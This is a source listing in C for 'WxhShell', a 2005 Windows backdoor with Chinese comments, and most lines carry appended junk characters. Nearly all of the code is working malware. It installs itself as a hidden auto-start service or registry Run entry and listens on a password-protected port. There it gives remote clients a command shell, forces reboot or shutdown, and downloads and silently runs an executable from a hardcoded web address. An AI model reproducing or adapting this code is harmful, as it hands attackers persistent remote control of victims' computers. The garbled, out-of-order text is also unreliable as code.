  case 'd': { g>d7%FFn}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1oXz[V  
    if(Boot(SHUTDOWN)) YqK+F=0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -PIA;#Gs  
    else { B Lsdx }  
    closesocket(wsh); HMl!?%%  
    ExitThread(0); iqc4O /  
    } )M&I)In'  
    break; *B)Jv9  
    } v^FV t  
  // 获取shell |>jqH @\P  
  case 's': { RPofa+  
    CmdShell(wsh); 4O5n6~24  
    closesocket(wsh); FB?q/ _  
    ExitThread(0); c %6 @ z  
    break; Y`E {E|J  
  } Xs.$2  
  // 退出 &mO/u= u  
  case 'x': { KqG/a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J7 Oa})-+'  
    CloseIt(wsh); %M4XbSN|  
    break; (mOqv9pn  
    } e|OG-t[$*  
  // 离开 bahc{ZC2  
  case 'q': { =0jmm(:Jh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $\JQGic`  
    closesocket(wsh); A>ug'.  
    WSACleanup(); '? !7 Be  
    exit(1); k:(e79  
    break; xIq"[?m  
        } &+|jJ{93z  
  } 75^)Ni  
  } w|K(>5nz  
%nG~u,_2f  
  // 提示信息 S>vVjq?~l(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `CTkx?e[  
} ]ouUv7\  
  } )edU <1P  
xC=3|,U  
  return; DLg`Q0`M5  
} Ot4;,UZ  
uHujw.H/y  
// shell模块句柄 a3(7{,Ew  
int CmdShell(SOCKET sock) "`V"2zZlj  
{ ^bY^x+d  
STARTUPINFO si; K"t:B  
ZeroMemory(&si,sizeof(si)); 0|wKR|zW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8)ebXc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l{D,O?`Av  
PROCESS_INFORMATION ProcessInfo; G*{u(x(  
char cmdline[]="cmd"; f"Vm'0r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b@Mng6R  
  return 0; sEgeS9a{  
} Fh3Dc 83~  
f6aT[Nw<  
// 自身启动模式 56j/w[&8  
int StartFromService(void) OJC*|kN-#^  
{ ??esB&4?  
typedef struct y[ rB"  
{ b 'Nvx9=W  
  DWORD ExitStatus; ki][qvXJ  
  DWORD PebBaseAddress; {XVf|zM,  
  DWORD AffinityMask; ;)bF#@Q  
  DWORD BasePriority; GmEJ,%A  
  ULONG UniqueProcessId; k:HSB</}  
  ULONG InheritedFromUniqueProcessId; ys"mP* wD  
}   PROCESS_BASIC_INFORMATION; eiNk]KXAYX  
h#6 jUQ  
PROCNTQSIP NtQueryInformationProcess; NIXcib"tG  
n<Xm%KH.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]J"+VZ_"I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZF11v(n  
#k|g9`  
  HANDLE             hProcess; }IalgQ(i  
  PROCESS_BASIC_INFORMATION pbi; Q e2 /4j4  
| xErA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C\hZ;Z1  
  if(NULL == hInst ) return 0; k0Vo  
LBiv]3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zLIa! -C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MWd_ 6XM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T\$^>@  
LF3GVu,  
  if (!NtQueryInformationProcess) return 0; oJz:uv8Pe.  
a?Qcf;o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0z<]\a4  
  if(!hProcess) return 0; Vl QwVe  
z6>ZV6(d2^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V n!az}  
bZ@53  
  CloseHandle(hProcess); 0g*r!aa  
}s)&/~6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =~2 Uv>YG  
if(hProcess==NULL) return 0; j/`qd(=B  
%`uRUex  
HMODULE hMod; /IQ-|Qkg  
char procName[255]; `b'|FKc]  
unsigned long cbNeeded; N=?kEX O  
" ih>T^|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5Z>pa`_$2  
Qd)cFL "v  
  CloseHandle(hProcess); )V =K#MCK  
m^u&g&^  
if(strstr(procName,"services")) return 1; // 以服务启动 ~9ls~$+*  
F8r455_W"  
  return 0; // 注册表启动 ?0)XS<  
} < $?}^ 0R  
@Y<ZT;J  
// 主模块 OD!CnK  
int StartWxhshell(LPSTR lpCmdLine) ug3lMN4UX  
{ yp/V 8C  
  SOCKET wsl; JU,RO oz(  
BOOL val=TRUE; Hn]n]wsLy  
  int port=0; &DhA$o"'  
  struct sockaddr_in door; s!RA_%8/>  
QRG)~  
  if(wscfg.ws_autoins) Install(); GWE0 UO}  
R (Pa Q  
port=atoi(lpCmdLine); ^HN  
aKFA&Xnsl  
if(port<=0) port=wscfg.ws_port; )LMuxj  
#WmAkzvq  
  WSADATA data; t=\[J+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b)`#^uxxJ  
8&[<pbN)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R{y{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IqJ=\  
  door.sin_family = AF_INET; O0*L9C/Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pj-HLuZR  
  door.sin_port = htons(port); e8uIh[+ 0  
'pls]I]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2bG4 ,M  
closesocket(wsl); TdOWdPvYj  
return 1; $=QO_t)?  
} F^bQ-  
xgw)`>p,W  
  if(listen(wsl,2) == INVALID_SOCKET) { Bst>9V&R  
closesocket(wsl); &"6ktKrIg  
return 1; )KhVUFS1  
} K1{nxw!`  
  Wxhshell(wsl); ' oeg [  
  WSACleanup(); {gHscj;SM  
z ex.0OT;  
return 0; SIVLYi  
X ^ ]$/rI)  
} yl+)I  
K[yJu 4  
// 以NT服务方式启动 _eeX]xSSl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 34M.xB   
{ csA.3|rv  
DWORD   status = 0; tnbs]6  
  DWORD   specificError = 0xfffffff; w^6N :]d  
3EX&.OL!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g<tTZD\g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |}.B!vg(4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i1\ /\^  
  serviceStatus.dwWin32ExitCode     = 0; QgM_SY|Rj  
  serviceStatus.dwServiceSpecificExitCode = 0; ~g6[ [  
  serviceStatus.dwCheckPoint       = 0; c'TLD!^hB  
  serviceStatus.dwWaitHint       = 0; !w\;Q8irN  
R6o<p<fTh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5 9HaTq  
  if (hServiceStatusHandle==0) return; x9 L\"  
. pEeR  
status = GetLastError(); g;Q^_4@  
  if (status!=NO_ERROR) ]p.f*]  
{ _q}%!#4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T.N7`  
    serviceStatus.dwCheckPoint       = 0; 1gK3= Ys  
    serviceStatus.dwWaitHint       = 0; !fjU?_[S  
    serviceStatus.dwWin32ExitCode     = status; A;HKR4p;8  
    serviceStatus.dwServiceSpecificExitCode = specificError; h#;K9#x6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i4C b&h^  
    return; _rh.z_a7w  
  } BCB/cBE  
<a}|G1 h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zd]L9 _  
  serviceStatus.dwCheckPoint       = 0; ghR]$SG  
  serviceStatus.dwWaitHint       = 0; fB}5,22  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'ZgW~G]S  
} ;//q jo  
)L("t  
// 处理NT服务事件,比如:启动、停止 HCy}'}d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3;gtuqwD$  
{ ~}ZX^l&k{P  
switch(fdwControl) 1h0ohW  
{ 'MlC 1HEp  
case SERVICE_CONTROL_STOP: = +\oL!^  
  serviceStatus.dwWin32ExitCode = 0; ^K[tO54  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q)i(wEdUZ  
  serviceStatus.dwCheckPoint   = 0; y9 ' 3vZ  
  serviceStatus.dwWaitHint     = 0; +~]g&Mf6o  
  { /kVc7 LC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zX Pj7K*  
  } w' >v@`y  
  return; 5E(P,!-.  
case SERVICE_CONTROL_PAUSE: WX"M_=lc-@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1k({(\>qq  
  break; lY?d*qED  
case SERVICE_CONTROL_CONTINUE: [6qP;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; FJiP>S[]  
  break; N Uml"  
case SERVICE_CONTROL_INTERROGATE: dAt[i \S  
  break; _( Cp   
}; oIgj)AY<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j"=jK^  
} e-t`\5b;  
{<BK@U  
// 标准应用程序主函数 ,gD i)]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }TLC b/+  
{ bcs(#  
|mA*[?ye@  
// 获取操作系统版本 bJ}+<##  
OsIsNt=GetOsVer(); h /Nt92  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q0<`XDD`  
WR1,J0UU6  
  // 从命令行安装 QX|K(`of  
  if(strpbrk(lpCmdLine,"iI")) Install(); }'- )  
-*r';Mz;  
  // 下载执行文件 KrzM]x  
if(wscfg.ws_downexe) { ( mMz]b5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |g+5rVbd  
  WinExec(wscfg.ws_filenam,SW_HIDE); ["/x~\c'N  
} U\6DEnII?!  
[D\AVx&  
if(!OsIsNt) { _s,svQ8#  
// 如果时win9x,隐藏进程并且设置为注册表启动 06;{2&ju<  
HideProc(); 31Du@h8YX  
StartWxhshell(lpCmdLine); ajr8tp'  
} I{bi3y0  
else @SXgaWr  
  if(StartFromService()) g H.^NO5\'  
  // 以服务方式启动 rP_)*)  
  StartServiceCtrlDispatcher(DispatchTable); J6P Tkm}^  
else q;JQs:U!  
  // 普通方式启动 ;hDr+&J|  
  StartWxhshell(lpCmdLine); C(hg"_W ou  
+ k:?;ZG  
return 0; ?^p8]Va%  
} D._r@~o  
ks4 ,2f,2  
XPKcF I=  
58,mu#yq6  
=========================================== ;zODp+4@Q  
OwUbm0)h^V  
EG6fC4rfC  
Yd'ke,Je  
TXv#/@  
Qg=~n:j  
" _A*0K,F-  
4Rq"xYGXh  
#include <stdio.h> \PJ89u0  
#include <string.h> $_kU)<e3  
#include <windows.h> Sa5y7   
#include <winsock2.h> ~ .-'pdz%  
#include <winsvc.h> ^` THV  
#include <urlmon.h> ^<-SW]x  
g^FH[(P[G  
#pragma comment (lib, "Ws2_32.lib") ipG+qj/=  
#pragma comment (lib, "urlmon.lib") AaVlNjB  
uWE@7e4'I  
#define MAX_USER   100 // 最大客户端连接数 g;T`~  
#define BUF_SOCK   200 // sock buffer >{Djx  
#define KEY_BUFF   255 // 输入 buffer W#7c`nm  
X,~C&#  
#define REBOOT     0   // 重启 pm+[,u!i  
#define SHUTDOWN   1   // 关机 {;r5]wimb  
m{|n.b  
#define DEF_PORT   5000 // 监听端口 '"Gi&:*nQ<  
sKtH4d5)  
#define REG_LEN     16   // 注册表键长度 zuw6YY8kQ  
#define SVC_LEN     80   // NT服务名长度 w'C(? ?mH  
ND*5pRzvp  
// 从dll定义API G(i/ @>l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "\ md  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +FI]0r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1ARIZ;H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n7vi@^lf(  
I5{SC-7  
// wxhshell配置信息 .vg;K@{  
struct WSCFG { u56cT/J1  
  int ws_port;         // 监听端口 wbTw\b=  
  char ws_passstr[REG_LEN]; // 口令 JXrMtSp\  
  int ws_autoins;       // 安装标记, 1=yes 0=no 38 F8(QU{  
  char ws_regname[REG_LEN]; // 注册表键名 L,$9)`j  
  char ws_svcname[REG_LEN]; // 服务名 0t8-oui  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 raCxHY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8Pq|jK "  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c ;VW>&,B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Onao'sjY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +m_quQ/ys  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $ |AxQQ%f  
eG.?s ;J0  
}; pV_2JXM~@  
*5^h>Vk/  
// default Wxhshell configuration bTJ7RqL  
struct WSCFG wscfg={DEF_PORT, ;TYkJH"  
    "xuhuanlingzhe", ~~&M&Fe  
    1, &0'BCT  
    "Wxhshell", -O\`G<s%  
    "Wxhshell", c(:GsoO  
            "WxhShell Service", d4/ZOj+%  
    "Wrsky Windows CmdShell Service", #-{4F?DA]y  
    "Please Input Your Password: ", b$hQB090  
  1, tlE+G@|^  
  "http://www.wrsky.com/wxhshell.exe", !"Kg b;A  
  "Wxhshell.exe" V<b"jCXI  
    }; =Z2sQQVS  
tq{ aa  
// 消息定义模块 qSON3Iid  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^vUdf.n9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9!tRM-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ."${.BPn~  
char *msg_ws_ext="\n\rExit."; >354O6  
char *msg_ws_end="\n\rQuit."; ZDlMkHJ  
char *msg_ws_boot="\n\rReboot..."; m6s32??m  
char *msg_ws_poff="\n\rShutdown..."; uv,t(a.^  
char *msg_ws_down="\n\rSave to "; <3'r&ks  
/p~gm\5Z  
char *msg_ws_err="\n\rErr!"; w1[F]|  
char *msg_ws_ok="\n\rOK!"; a!;?!f-i  
?g 1%-F+  
char ExeFile[MAX_PATH]; "!2Fy-Y  
int nUser = 0; \\_Qv  
HANDLE handles[MAX_USER]; $%LjIeVA5  
int OsIsNt; X=lOwPvP  
J*.qiUAgW  
SERVICE_STATUS       serviceStatus; mhL,:UE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )tB mSVprl  
LbnR=B!  
// 函数声明 ;L|%H/SH  
int Install(void); 13Q|p,^R  
int Uninstall(void); oE}1D?3Sp  
int DownloadFile(char *sURL, SOCKET wsh); E}UlQq  
int Boot(int flag); H13|bM<  
void HideProc(void); 2%QY~Ku~  
int GetOsVer(void); J?HYN%  
int Wxhshell(SOCKET wsl); 1N2s[ \q$  
void TalkWithClient(void *cs); : -OHD#>%  
int CmdShell(SOCKET sock); bEbnZ<kz*  
int StartFromService(void); m3,i{  
int StartWxhshell(LPSTR lpCmdLine); 0]&~ddL  
fDf:Jec`[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q*8^938  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UW!!!  
lf&g *%?1  
// 数据结构和表定义 M(xd:Fa?  
SERVICE_TABLE_ENTRY DispatchTable[] = ;a2TONW   
{ ):1NeJOFF  
{wscfg.ws_svcname, NTServiceMain}, K_(o D O  
{NULL, NULL} sJ,:[  
}; G}d@^9FkE  
r\Zz=~![<  
// 自我安装 ;kY'DKL(  
int Install(void) !>+YEZ"  
{ b k 30d  
  char svExeFile[MAX_PATH]; 3DbS\jja  
  HKEY key; S 7RB` I5  
  strcpy(svExeFile,ExeFile); ,*Jm\u  
1 %K^(J;  
// 如果是win9x系统,修改注册表设为自启动 j"hfsA<_I  
if(!OsIsNt) { Gz@'W%6yaV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5\lOZYHX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mJp)nF8r~  
  RegCloseKey(key); <GT&q <4w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -:&qNY:Vp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /aP4'U8ov  
  RegCloseKey(key); W&qE_r  
  return 0; %&0_0BU  
    } 8V?O=3<a  
  } zQ&`|kS  
} \:, dWL u  
else { Cwl#(; @  
0& 54xP  
// 如果是NT以上系统,安装为系统服务 `L/\F,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NLf6}  
if (schSCManager!=0) l*rli[No  
{ D=i)AZqMPp  
  SC_HANDLE schService = CreateService y ~7]9?T  
  ( hKj"Lb9 ]  
  schSCManager, Tapj7/0`  
  wscfg.ws_svcname, %3!DRz  
  wscfg.ws_svcdisp, g4^=Q'j-  
  SERVICE_ALL_ACCESS, 4*&_h g)h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '#L.w6<B  
  SERVICE_AUTO_START, g)nsP  
  SERVICE_ERROR_NORMAL, FMh SHa/B  
  svExeFile, RX3P %xZ  
  NULL, : A9G>qg  
  NULL, gP:mZ7  
  NULL, 0rP`BK|  
  NULL, bS[;d5  
  NULL p'tB4V qT  
  ); 5 ELKL#(  
  if (schService!=0) S3l$\X;6X  
  { }&M$  
  CloseServiceHandle(schService); +zn&DG0\X  
  CloseServiceHandle(schSCManager); U= QfInB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z:j6AF3;  
  strcat(svExeFile,wscfg.ws_svcname); <?zn k8|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6qp2C]9=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VPBlU  
  RegCloseKey(key); D',[M)  
  return 0; V~([{  
    } N{w)}me[YY  
  } ;w--fqxVl  
  CloseServiceHandle(schSCManager); '[V}]Z>-  
} x=s=~cu4,  
} +X#JCLD  
Kw_> X&GcJ  
return 1; [Vzp D 4  
} FtHR.S= u  
WCJ$S\#  
// 自我卸载 4'9yMXR  
int Uninstall(void) V}_M\Y^^;  
{ \-i5b  
  HKEY key; vy&q7EX<i  
a$-:F$z  
if(!OsIsNt) { ;c};N(2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zI1-l9 o  
  RegDeleteValue(key,wscfg.ws_regname); rRgP/E#_  
  RegCloseKey(key); ksb.]P d.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *c<0cHv*  
  RegDeleteValue(key,wscfg.ws_regname); 8Evon&G59  
  RegCloseKey(key); 4K{<R!2I  
  return 0; gK7bP'S8H  
  } b9FfDDOq"  
} /1OzX'5f  
} JzI/kH~  
else { l.gt+e  
c0}* $e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =GGt:3Kx-  
if (schSCManager!=0) oVDqX=G  
{ ?2LRMh")$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TX/Ng+v S  
  if (schService!=0) n_ORD@$]  
  { p{c+ +P5  
  if(DeleteService(schService)!=0) { +eT1/x0  
  CloseServiceHandle(schService); H! IL5@@K  
  CloseServiceHandle(schSCManager); (4ueO~jb $  
  return 0; yhwwF n\  
  } >d1gVBhk  
  CloseServiceHandle(schService); VEUdw(-?s  
  } 4Og&w]  
  CloseServiceHandle(schSCManager); )3 C~kmN7  
} JrZ"AId2  
} >U?U ;i  
rwYlg:  
return 1; wlvhDJ  
} e[`u:  
Qqju6}+  
// 从指定url下载文件 P01o:/}  
int DownloadFile(char *sURL, SOCKET wsh) {-FS+D`  
{ ^dc~hD  
  HRESULT hr; !w+A3Z>V  
char seps[]= "/"; Pi^5LI6JW  
char *token; ^#:F8D  
char *file; SY: gr  
char myURL[MAX_PATH]; YS7R8|  
char myFILE[MAX_PATH]; IG}`~% Z  
iobL6SUZ  
strcpy(myURL,sURL); 5 *w a  
  token=strtok(myURL,seps); #a : W  
  while(token!=NULL) Nhq& Sn2  
  { gA`x-`  
    file=token; N^u,C$zP9C  
  token=strtok(NULL,seps); dM|&Y6  
  } 7*D*nY4+  
MJxTzQE  
GetCurrentDirectory(MAX_PATH,myFILE); 9t`   
strcat(myFILE, "\\");  Xn<~ln  
strcat(myFILE, file); #:C?:RMS  
  send(wsh,myFILE,strlen(myFILE),0); {OK+d#=  
send(wsh,"...",3,0); ^&nC)T<w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); : 5=E> !  
  if(hr==S_OK) X}!r4<;(  
return 0; !sbKJ+V7  
else 4d\"gk  
return 1; >=<qAkk  
'%k<? *  
} c_oI?D9  
[;IW'cXNq  
// 系统电源模块 E Z^eEDZ  
int Boot(int flag) 3F/05}d`  
{ ]yzqBbV  
  HANDLE hToken; }M9R5!=q  
  TOKEN_PRIVILEGES tkp; )@%wj;>a  
OIT9.c0h  
  if(OsIsNt) { W6=j^nv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QEUr+7[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mQVc ZV  
    tkp.PrivilegeCount = 1; GQZLOjsop  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?k6P H"M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  }YPW@g  
if(flag==REBOOT) { 1Tn0$+$.4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S}0W<H P  
  return 0; Yn0l}=, n  
} q;Y9_5S  
else { CTqAhL 4}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pH#*:v!)  
  return 0; yS*s[vT  
} st8=1}:&\  
  } ^\Bm5QkS  
  else { ?zypF 5a  
if(flag==REBOOT) { BseK?`]U"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) caK<;bmu-  
  return 0; ,d^ze=  
} &3jq'@6  
else { [gZz'q&[)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $?38o6  
  return 0; d@ +}_R"c  
} vY+{zGF  
} _.Ey_K_1  
.I6:iB  
return 1; @@!Mt~\  
} 41pk )8~pt  
l~f>ve|  
// win9x进程隐藏模块 81O\BO.T  
void HideProc(void) u!&w"t61Nd  
{ [# X:!xcl  
,&wTUS\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D][e uB  
  if ( hKernel != NULL ) M7$ h  
  { Mn<G9KR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y;0k |C   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'Gn-8r+  
    FreeLibrary(hKernel); .d\<}\zZ7J  
  } GrwoV~  
ul{u^ j  
return; 6]GEn=t  
} r6B\yH2  
_`Ojh0@00  
// 获取操作系统版本 WK{{U$:$  
int GetOsVer(void) {l/]+8G^  
{ A5d(L4Q]a(  
  OSVERSIONINFO winfo; / 7EeM{,~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3YtFO;-  
  GetVersionEx(&winfo); ;n-)4b]\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #g.J,L  
  return 1; P)7_RE*gY  
  else Fv[. %tW  
  return 0; <tT*.nM\  
} IEi E6z]L(  
Z*/*P4\  
// 客户端句柄模块 Gi<ik~  
int Wxhshell(SOCKET wsl) 6 (:^>@  
{ X >i`z  
  SOCKET wsh; Ch`nDIne  
  struct sockaddr_in client; (<u3<40[YN  
  DWORD myID; s_(%1/{  
aFI?^"L  
  while(nUser<MAX_USER) ,bv?c@  
{ 3 cd5 g  
  int nSize=sizeof(client); ##%R|P3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R]oi&"H@r)  
  if(wsh==INVALID_SOCKET) return 1; Q?Au.q],  
l\vvM>#S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AR<'Airi:  
if(handles[nUser]==0) "IOu$?  
  closesocket(wsh); j( *;W}*^  
else z0@)@4z!  
  nUser++; /}~; b#t  
  } 9fWr{fx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N9W\>hKaeh  
ELx?ph-9  
  return 0; Z;/"-.i  
} !&~8j7{  
?V6+o`bm  
// 关闭 socket MoKGnb  
void CloseIt(SOCKET wsh) G4!$48  
{ (#w8/@JxF  
closesocket(wsh); Z19d Ted33  
nUser--; UOWOOdWS B  
ExitThread(0); *{5L*\AZ  
} @ 2mJh^cj  
zTFfft<  
// 客户端请求句柄 -0KQR{LI  
void TalkWithClient(void *cs) *^'$YVd#  
{ _$OhV#LKG  
#}^ kMD >  
  SOCKET wsh=(SOCKET)cs; jg ~;s  
  char pwd[SVC_LEN]; 3I)!.N[m  
  char cmd[KEY_BUFF]; G\ twx ;  
char chr[1]; mp_(ke  
int i,j; |"[[.Adw9"  
|51z&dG  
  while (nUser < MAX_USER) { 5 =Os sAr  
Zi+>#kDV  
if(wscfg.ws_passstr) { ~I0I#_$'P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  b;!oPT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); st;.Po[h  
  //ZeroMemory(pwd,KEY_BUFF); Fm\ h883\  
      i=0; .uAO k0^z  
  while(i<SVC_LEN) { GHQa{@m2V  
nwd 02tu  
  // 设置超时 :K!@zT=o  
  fd_set FdRead; J~Gq#C^e  
  struct timeval TimeOut; Ji7%=_@'-#  
  FD_ZERO(&FdRead); .Gq)@{o>  
  FD_SET(wsh,&FdRead); []K5l%  
  TimeOut.tv_sec=8; #;F1+s<|QJ  
  TimeOut.tv_usec=0; DzLm~ aF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Dk#$PjcRE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o;o ji  
cw 3JSz9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "FC;k >m  
  pwd=chr[0]; T-=sC=sS,  
  if(chr[0]==0xd || chr[0]==0xa) { q9- =>  
  pwd=0; )Cuc ]>SC  
  break; j)Z3m @Ii5  
  } ~+VIELU<%  
  i++; (r cH\   
    } Ez^U1KKOE7  
/*Z ,i&eC  
  // 如果是非法用户,关闭 socket xbex6i"ZE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )j6VROt  
} @].Ko[P~  
]R^?Pa1Te4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }U$Yiv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I;`)1   
2Y&QJon)  
while(1) { E<>Ev_5>  
6:i(<7  
  ZeroMemory(cmd,KEY_BUFF); d+KLtvB%M  
9C5w!_b@  
      // 自动支持客户端 telnet标准   v&}mbt-  
  j=0; 9N>Dp N  
  while(j<KEY_BUFF) { [((P ,v*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [`P+{ R  
  cmd[j]=chr[0]; (o_wv  
  if(chr[0]==0xa || chr[0]==0xd) { wVCZ=\L}  
  cmd[j]=0; PTe8,cD>  
  break; &?(r# T  
  } YPAMf&jEF  
  j++; >^%]F[Wo  
    } %WrUu|xj>_  
< J=9,tv<  
  // 下载文件 |$`LsA.  
  if(strstr(cmd,"http://")) { m(nGtrQJm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~ ={8b  
  if(DownloadFile(cmd,wsh)) VsOn j~@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =iy%;>I `  
  else TD+V.}  
